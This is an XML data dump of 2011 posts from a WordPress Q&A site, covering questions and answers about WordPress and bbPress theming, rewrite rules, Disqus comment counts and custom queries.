LastActivityDate="2011-04-25T22:17:04.687" Title="Multiple level category drop-down" Tags="&lt;categories&gt;&lt;themes&gt;&lt;cms&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="10573" PostTypeId="2" ParentId="10553" CreationDate="2011-02-27T06:08:10.540" Score="1" ViewCount="" Body="&lt;p&gt;Your problem ain't the parameters...it's that your parametrized URL points to the wrong target...it has a &lt;code&gt;.html&lt;/code&gt; where it should have a slash.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.../windows-restarts-at-ec2.html?action=backlinks&amp;amp;wid...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;..../windows-restarts-at-ec2/?action=backlinks&amp;amp;wid...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you'll see it works.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-27T06:08:10.540" CommentCount="3" />
  <row Id="10574" PostTypeId="2" ParentId="10558" CreationDate="2011-02-27T07:15:12.270" Score="0" ViewCount="" Body="&lt;p&gt;1) Yes, there's better ways...one would be to use a shortcode instead of storing php in your db. Write and register a shortcode callback that reads your file and returns the content and replace your &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; section in the post with the shortcode. Also, you can read the file with &lt;code&gt;file_get_contents();&lt;/code&gt;, saves you a few lines of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You could write a function that simulates that, but the benefit would be too minimal to justify the effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT: Instead of hardcoding your file path into the shortcode, you can get its path via &lt;code&gt;get_attached_file($attachment_id)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-27T07:15:12.270" CommentCount="1" />
  <row Id="10575" PostTypeId="2" ParentId="10564" CreationDate="2011-02-27T07:47:51.397" Score="0" ViewCount="" Body="&lt;p&gt;You can get the current posts category outside the loop by using the get_the_category function.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_category&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have the actual category ( however you got it) you can use get_categories, specifically the 'child_of'  parameter and pass it the parent cat ID.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have a look at wp_list_catagories,&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories#Display_or_Hide_the_List_Heading&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/wp_list_categories#Display_or_Hide_the_List_Heading&lt;/a&gt;&#xA;where you can do something simple like the following to grab the children.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php wp_list_categories('orderby=id&amp;amp;show_count=1&amp;amp;use_desc_for_title=0&amp;amp;child_of=8'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would probably do an &quot;if&quot; statement to get the children if they exist and if not just show the category.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-02-27T07:54:50.240" LastActivityDate="2011-02-27T07:54:50.240" CommentCount="1" />
  <row Id="10576" PostTypeId="1" AcceptedAnswerId="10578" CreationDate="2011-02-27T07:59:34.030" Score="0" ViewCount="195" Body="&lt;p&gt;How do I &quot;download&quot; all my photos from my media library to my local computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do this one at a time, but is there a way to grab them all at one time? Sort of like a &quot;download all&quot; process.&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-07-03T16:18:39.287" Title="how to download all media files into my computer" Tags="&lt;media-library&gt;" AnswerCount="2" />
  <row Id="10577" PostTypeId="2" ParentId="10566" CreationDate="2011-02-27T08:25:56.093" Score="0" ViewCount="" Body="&lt;p&gt;The solution you linked seems about right but i can't tell if its scalable and won't crash on a large scale,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another solution would be to create a non public custom post type with no UI and to act as a &quot;stub&quot; post for each user and keep that post ID in a user meta table, that way you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make easier queries.&lt;/li&gt;&#xA;&lt;li&gt;use other post features for users&#xA;like: comments,tags,categories,&lt;strong&gt;custom taxonomies&lt;/strong&gt; and all the functionality built for posts.&lt;/li&gt;&#xA;&lt;li&gt;use post based plugins on a user&#xA;profile like: voting, rating, ranking...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and i believe its a much better approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6163/commenting-in-user-profile-page/6165#6165&quot;&gt;Mike's answer&lt;/a&gt; to a similar question to get you started.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-27T08:25:56.093" CommentCount="1" />
  <row Id="10578" PostTypeId="2" ParentId="10576" CreationDate="2011-02-27T08:34:59.130" Score="4" ViewCount="" Body="&lt;p&gt;Your best way of doing that would be downloading the wp-content/uploads directory, by ftp access.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-27T08:34:59.130" CommentCount="2" />
  <row Id="10579" PostTypeId="1" CreationDate="2011-02-27T08:45:20.463" Score="0" ViewCount="156" Body="&lt;p&gt;I'm trying to set it so that when you view somebody's profile page you see a different template based on their role. So, everybody gets a regular &quot;profile&quot; page but if your also a author you also get a special &quot;editor&quot; page as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally in Wordpress you get...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/author/person1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but what I want is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/profile/person1&lt;br&gt;&#xA;www.mysite.com/profile/person2&lt;br&gt;&#xA;www.mysite.com/editor/person2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is what I've got so far in my functions.php file but the line that sets variable $curauth doesn't seem to work here. But it does work in my loop.php file???&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_author_permalinks() {&#xA;    global $wp_rewrite;&#xA;&#xA;    $curauth = (get_query_var('author_name')) ? get_user_by('slug', get_query_var('author_name')) : get_userdata(get_query_var('author'));&#xA;    var_dump($curauth);&#xA;    if ( !get_user_role( 'subscriber', $curauth-&amp;gt;ID ) ) {&#xA;        $wp_rewrite-&amp;gt;author_base = 'editor';&#xA;    } else {&#xA;        $wp_rewrite-&amp;gt;author_base = 'profile';&#xA;    }&#xA;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;add_action('init','change_author_permalinks');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3545" LastActivityDate="2011-02-27T09:42:22.493" Title="Different profile page by role" Tags="&lt;3.0&gt;&lt;functions&gt;&lt;author&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10580" PostTypeId="1" AcceptedAnswerId="10779" CreationDate="2011-02-27T09:40:37.737" Score="0" ViewCount="116" Body="&lt;p&gt;I'm not very familiar with the bbPress plugin.&#xA;I would like to list two or three recent topics below the title of the forum&#xA;(as well as the number of their replies):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/RXZYB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;strong&gt;loop-bbp_forums.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Forums Loop&#xA; *&#xA; * @package bbPress&#xA; * @subpackage Theme&#xA; */&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( bbp_has_forums() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;bbp-forums&quot;&amp;gt;&#xA;&#xA;        &amp;lt;thead&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th class=&quot;bbp-forum-info&quot;&amp;gt;&amp;lt;?php _e( 'Forum', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=&quot;bbp-forum-topic-count&quot;&amp;gt;&amp;lt;?php _e( 'Topics', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=&quot;bbp-forum-topic-replies&quot;&amp;gt;&amp;lt;?php _e( 'Replies', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=&quot;bbp-forum-freshness&quot;&amp;gt;&amp;lt;?php _e( 'Freshness', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;&#xA;        &amp;lt;tfoot&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;4&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;?php // @todo - Moderation links ?&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tfoot&amp;gt;&#xA;&#xA;        &amp;lt;tbody&amp;gt;&#xA;&#xA;            &amp;lt;?php while ( bbp_forums() ) : bbp_the_forum(); ?&amp;gt;&#xA;&#xA;                &amp;lt;tr id=&quot;bbp-forum-&amp;lt;?php bbp_forum_id(); ?&amp;gt;&quot; &amp;lt;?php bbp_forum_class(); ?&amp;gt;&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;bbp-forum-info&quot;&amp;gt;&#xA;                        &amp;lt;a class=&quot;bbp-forum-title&quot; href=&quot;&amp;lt;?php bbp_forum_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php bbp_forum_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php bbp_forum_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;?php bbp_list_forums(); ?&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;bbp-forum-description&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;bbp-forum-topic-count&quot;&amp;gt;&amp;lt;?php bbp_forum_topic_count(); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;bbp-forum-reply-count&quot;&amp;gt;&amp;lt;?php bbp_forum_reply_count(); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;bbp-forum-freshness&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;?php bbp_forum_freshness_link(); ?&amp;gt;&#xA;&#xA;                        &amp;lt;p class=&quot;bbp-topic-meta&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;?php bbp_author_link( array( 'post_id' =&amp;gt; bbp_get_forum_last_active_id(), 'size' =&amp;gt; 14 ) ); ?&amp;gt;&#xA;&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;&#xA;                &amp;lt;/tr&amp;gt;&amp;lt;!-- bbp-forum-&amp;lt;?php bbp_forum_id(); ?&amp;gt; --&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-27T09:52:02.703" LastActivityDate="2011-03-31T01:38:48.133" Title="How to show recents topics below the forum's title (Wordpress + bbPress plugin)?" Tags="&lt;bbpress&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="10581" PostTypeId="2" ParentId="10579" CreationDate="2011-02-27T09:42:22.493" Score="1" ViewCount="" Body="&lt;p&gt;i needed something similar to this so i added a rewrite rule to the same author.php file and there i added a redirect based on the user role, so to put this in your use case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First redirect editor to your theme author.php file by adding this rewrite rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_rewrite_rules_098( $wp_rewrite ) {&#xA;  $newrules = array();&#xA;  $new_rules['editor/(\d*)$'] = 'index.php?author_name=$matches[1]';&#xA;  $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_filter('generate_rewrite_rules','my_rewrite_rules_098');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next create a function to check the user role, say in your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function user_has_role( $roles_to_check = array(), $user_id ) {&#xA;&#xA;  if( ! $roles_to_check ) return FALSE;&#xA;  if( ! $user_id ) return FALSE;&#xA;&#xA;  $user = new WP_User( $user_id ); // $user-&amp;gt;roles&#xA;&#xA;  return in_array( $roles_to_check, $user-&amp;gt;roles, FALSE );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in your author.php theme file at the top add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_GET['author_name'])) {&#xA;    $curauth = get_userdatabylogin($author_name);&#xA;}else{&#xA;    $curauth = get_userdata(intval($author));&#xA;}&#xA;//check user role  &#xA;$user_role_exists = user_has_role( array('Author'),$curauth-&amp;gt;ID; );&#xA;if ($user_role_exists &amp;amp;&amp;amp; isset(get_query_var('editor'))){&#xA;    //either rediret to a different editor.php template file &#xA;    //or include it here something like:&#xA;    include('editor.php');&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-27T09:42:22.493" CommentCount="2" />
  <row Id="10582" PostTypeId="1" AcceptedAnswerId="12359" CreationDate="2011-02-27T09:51:20.890" Score="1" ViewCount="1584" Body="&lt;p&gt;I must be blind but I can't find for the life of me the full instructions for getting Disqus comment count to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I want displayed is just the comment count number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the &quot;Output JavaScript in footer&quot; option. I have custom loops but I have no idea what I supposed to put in them to activate the comment count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My loop.php file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;?php if ( comments_open() ) : ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($post-&amp;gt;ID); ?&amp;gt;#disqus_thread&quot; class=&quot;post-disqus&quot;&amp;gt;&#xA;           &amp;lt;span class=&quot;dsq-postid&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;           &amp;lt;?php echo $post-&amp;gt;comment_count; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disqus's footer javascript code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    // &amp;lt;![CDATA[&#xA;        var disqus_shortname = 'mysite';&#xA;        var disqus_domain = 'disqus.com';&#xA;        (function () {&#xA;            var nodes = document.getElementsByTagName('span');&#xA;            for (var i = 0, url; i &amp;lt; nodes.length; i++) {&#xA;                if (nodes[i].className.indexOf('dsq-postid') != -1) {&#xA;                    nodes[i].parentNode.setAttribute('data-disqus-identifier', nodes[i].getAttribute('rel'));&#xA;                    url = nodes[i].parentNode.href.split('#', 1);&#xA;                    if (url.length == 1) url = url[0];&#xA;                    else url = url[1]&#xA;                    nodes[i].parentNode.href = url + '#disqus_thread';&#xA;                }&#xA;            }&#xA;            var s = document.createElement('script'); s.async = true;&#xA;            s.type = 'text/javascript';&#xA;            s.src = 'http://' + disqus_domain + '/forums/' + disqus_shortname + '/count.js';&#xA;            (document.getElementsByTagName('HEAD')[0] || document.getElementsByTagName('BODY')[0]).appendChild(s);&#xA;        }());&#xA;    //]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3545" LastEditorUserId="3545" LastEditorDisplayName="" LastEditDate="2011-03-03T05:25:47.923" LastActivityDate="2011-07-29T15:37:18.747" Title="How to add Disqus comment count" Tags="&lt;3.0&gt;&lt;disqus&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="10583" PostTypeId="1" AcceptedAnswerId="10584" CreationDate="2011-02-27T10:04:29.073" Score="0" ViewCount="116" Body="&lt;p&gt;This is how you do it for Wordpress posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $my_query = new WP_Query( &quot;cat=3&quot; );&#xA;   if ( $my_query-&amp;gt;have_posts() ) { &#xA;       while ( $my_query-&amp;gt;have_posts() ) { &#xA;           $my_query-&amp;gt;the_post();&#xA;           the_content();&#xA;       }&#xA;   }&#xA;   wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to do that in bbPress (say, listing topics).&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-01T00:11:39.997" Title="How to create a custom nested loop in bbPress (Wordpress + bbPress plugin)" Tags="&lt;bbpress&gt;" AnswerCount="2" />
  <row Id="10584" PostTypeId="2" ParentId="10583" CreationDate="2011-02-27T10:34:31.340" Score="1" ViewCount="" Body="&lt;p&gt;bbpress has its own query class called &lt;a href=&quot;http://svn.automattic.com/bbpress/trunk/bb-includes/class.bb-query.php&quot; rel=&quot;nofollow&quot;&gt;BB_Query()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it accepts: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ints = array(&#xA;            'page',     // Defaults to global or number in URI&#xA;            'per_page', // Defaults to page_topics&#xA;            'tag_id',   // one tag ID&#xA;            'favorites' // one user ID&#xA;        );&#xA;&#xA;    $parse_ints = array(&#xA;        // Both&#xA;        'post_id',&#xA;        'topic_id',&#xA;        'forum_id',&#xA;&#xA;        // Topics&#xA;        'topic_author_id',&#xA;        'post_count',&#xA;        'tag_count',&#xA;&#xA;        // Posts&#xA;        'post_author_id',&#xA;        'position'&#xA;    );&#xA;&#xA;    $dates = array(&#xA;        'started',  // topic&#xA;        'updated',  // topic&#xA;        'posted'    // post&#xA;    );&#xA;&#xA;    $others = array(&#xA;        // Both&#xA;        'topic',    // one topic name&#xA;        'forum',    // one forum name&#xA;        'tag',      // one tag name&#xA;&#xA;        // Topics&#xA;        'topic_author', // one username&#xA;        'topic_status', // *normal, deleted, all, parse_int ( and - )&#xA;        'open',         // *all, yes = open, no = closed, parse_int ( and - )&#xA;        'sticky',       // *all, no = normal, forum, super = front, parse_int ( and - )&#xA;        'meta_key',     // one meta_key ( and - )&#xA;        'meta_value',   // range&#xA;        'topic_title',  // LIKE search.  Understands &quot;doublequoted strings&quot;&#xA;        'search',       // generic search: topic_title OR post_text&#xA;                        // Can ONLY be used in a topic query&#xA;                        // Returns additional search_score and (concatenated) post_text columns&#xA;&#xA;        // Posts&#xA;        'post_author',  // one username&#xA;        'post_status',  // *noraml, deleted, all, parse_int ( and - )&#xA;        'post_text',    // FULLTEXT search&#xA;                        // Returns additional search_score column (and (concatenated) post_text column if topic query)&#xA;        'poster_ip',    // one IPv4 address&#xA;&#xA;        // SQL&#xA;        'index_hint',   // A full index hint using valid index hint syntax, can be multiple hints an array&#xA;        'order_by',     // fieldname&#xA;        'order',        // *DESC, ASC&#xA;        'count',        // *false = none, true = COUNT(*), found_rows = FOUND_ROWS()&#xA;        '_join_type',   // not implemented: For benchmarking only.  Will disappear. join (1 query), in (2 queries)&#xA;&#xA;&#xA;&#xA;// Utility&#xA;//          'append_meta',  // *true, false: topics only&#xA;//          'cache_users',  // *true, false&#xA;//          'cache_topics,  // *true, false: posts only&#xA;//          'post_id_only', // true, *false: this query is only returning post IDs&#xA;            'cache_posts'    // not implemented: none, first, last&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-27T10:34:31.340" CommentCount="1" />
  <row Id="10585" PostTypeId="2" ParentId="10534" CreationDate="2011-02-27T11:54:47.017" Score="2" ViewCount="" Body="&lt;p&gt;The only custom form field that you seem to be printing out is a text input named &quot;excerpt&quot;. In your processor script you are checking for a $_POST var named &quot;_ideas_quicknote&quot;. Since it is not actually sent in the POST request, your processor will never see it. Please try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;print &quot;\n&quot; . '&amp;lt;h3&amp;gt;Basics&amp;lt;/h3&amp;gt;';&#xA;print &quot;\n&quot; . '&amp;lt;input type=&quot;text&quot; name=&quot;_ideas_quicknote&quot; id=&quot;myplugin_ideas_quicknote&quot; value=&quot;' . esc_attr( $quicknote )  . '&quot;/&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-02-27T11:54:47.017" CommentCount="3" />
  <row Id="10586" PostTypeId="2" ParentId="5515" CreationDate="2011-02-27T12:03:17.323" Score="1" ViewCount="" Body="&lt;p&gt;I did battle with a similar situation recently. Ajax in widgets is no joke! Need to write some pretty crazy code to get things to work across instances. I'm not familiar with live query, but if you say it checks the DOM every second, I might have a less intense solution for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var get_widget_id = function ( selector ) {&#xA;    var selector, widget_id = false;&#xA;    var id_attr = $( selector ).closest( 'form' ).find( 'input[name=&quot;widget-id&quot;]' ).val();&#xA;    if ( typeof( id_attr ) != 'undefined' ) {&#xA;        var parts = id_attr.split( '-' );&#xA;        widget_id = parts[parts.length-1];&#xA;    }&#xA;    return parseInt( widget_id );&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can pass this function a selector or jQuery object and it will return the instance ID of the current instance. I could find no other way around this issue. Glad to hear I'm not the only one :)&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-02-27T12:03:17.323" />
  <row Id="10587" PostTypeId="2" ParentId="10561" CreationDate="2011-02-27T12:39:55.637" Score="0" ViewCount="" Body="&lt;p&gt;Well since Wordpress's sorting features don't include that kind of functionality, you should probably ask Matt Mullenweg... haha...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, but really, you can probably use query_posts() for each letter (in other words call the loop up to 26 times, once for each letter. Then, for each loop, make include some code that'll check to see if the first letter of the post meta_value fits with the corresponding letter. If there are no posts that match that letter, then make just skip that letter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You currently only have one loop. You might have to write a for() loop that will in turn generate each wordpress loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this (just a rough draft):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list-ensemble&quot;&amp;gt;&#xA;    &amp;lt;? for ($i=65; $i&amp;lt;91; $i++) : // 65 through 90 represent the uppercase alphabet&#xA;        query_posts('post_type=person&amp;amp;post_status=publish&amp;amp;meta_key=last_name&amp;amp;orderby=meta_value&amp;amp;order=ASC'); &#xA;        //PUT SOME CODE HERE TO CHECK IF THE FIRST LETTER IS EQUAL TO $i&#xA;        //Set some variable $letter_matches == true if the letter matches.&#xA;    ?&amp;gt;&#xA;        &amp;lt;h3 class=&quot;letter&quot;&amp;gt;&#xA;            &amp;lt;?php //ECHO THE LETTER CORRESPONDING TO $i HERE ?&amp;gt;&#xA;        &amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?&#xA;        if ( have_posts() and $letter_matches ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;            &amp;lt;li data-id=&quot;&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;ensemble-single-link&quot;&amp;gt;&#xA;                    &amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail(thumbnail); } ?&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&amp;lt;?endfor; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So essentially you will have up to 26 wordpress loops in the page. I'm not sure how straining that is on the server, but it should work. It's the first thing I thought of. Lemme know how it goes!&lt;/p&gt;&#xA;" OwnerUserId="1226" LastEditorUserId="1226" LastEditorDisplayName="" LastEditDate="2011-02-27T13:06:31.943" LastActivityDate="2011-02-27T13:06:31.943" CommentCount="5" />
  <row Id="10588" PostTypeId="2" ParentId="10582" CreationDate="2011-02-27T12:44:25.423" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://docs.disqus.com/developers/universal/#comment-count&quot; rel=&quot;nofollow&quot;&gt;http://docs.disqus.com/developers/universal/#comment-count&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-02-27T12:44:25.423" CommentCount="3" />
  <row Id="10589" PostTypeId="2" ParentId="10561" CreationDate="2011-02-27T12:54:36.297" Score="2" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list-ensemble&quot;&amp;gt;&#xA;&amp;lt;?php query_posts('post_type=person&amp;amp;post_status=publish&amp;amp;meta_key=last_name&amp;amp;orderby=meta_value&amp;amp;order=ASC'); &#xA;$current_letter = '';&#xA;if ( have_posts() ) while ( have_posts() ) : the_post();&#xA;    $last_name = get_post_meta( $post-&amp;gt;ID, 'last_name', true );&#xA;    $letter = strtolower( substr( $last_name, 0, 1 ) );&#xA;    if ( $letter != $current_letter ) {&#xA;        $current_letter = $letter; ?&amp;gt;&#xA;        &amp;lt;li class=&quot;letter&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $letter; ?&amp;gt;.jpg&quot; alt=&quot;&amp;lt;?php echo $letter; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $letter; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;li data-id=&quot;&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;ensemble-single-link&quot;&amp;gt;&#xA;            &amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail( 'thumbnail' ); } ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For each post in the loop, it retrieves the &lt;code&gt;last_name&lt;/code&gt; postmeta field (this won't add any queries to the page because WordPress caches the postmeta), then checks the first letter of it. If it's a new letter, it outputs a list element with an image named after the letter (e.g. &lt;code&gt;f.jpg&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-27T12:54:36.297" CommentCount="1" />
  <row Id="10590" PostTypeId="2" ParentId="10463" CreationDate="2011-02-27T13:38:56.547" Score="9" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;And this is why I think WordPress is&#xA;  in serious need of a rewrite. You can&#xA;  no longer blame its memory consumption&#xA;  on sheer complexity of what it does.&#xA;  It simply does things wrong.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What a naive conclusion. Read &lt;a href=&quot;http://www.joelonsoftware.com/articles/fog0000000069.html&quot; rel=&quot;nofollow&quot;&gt;Things You Should Never Do, Part I&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the memory usage plots, though.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-27T13:38:56.547" CommentCount="9" />
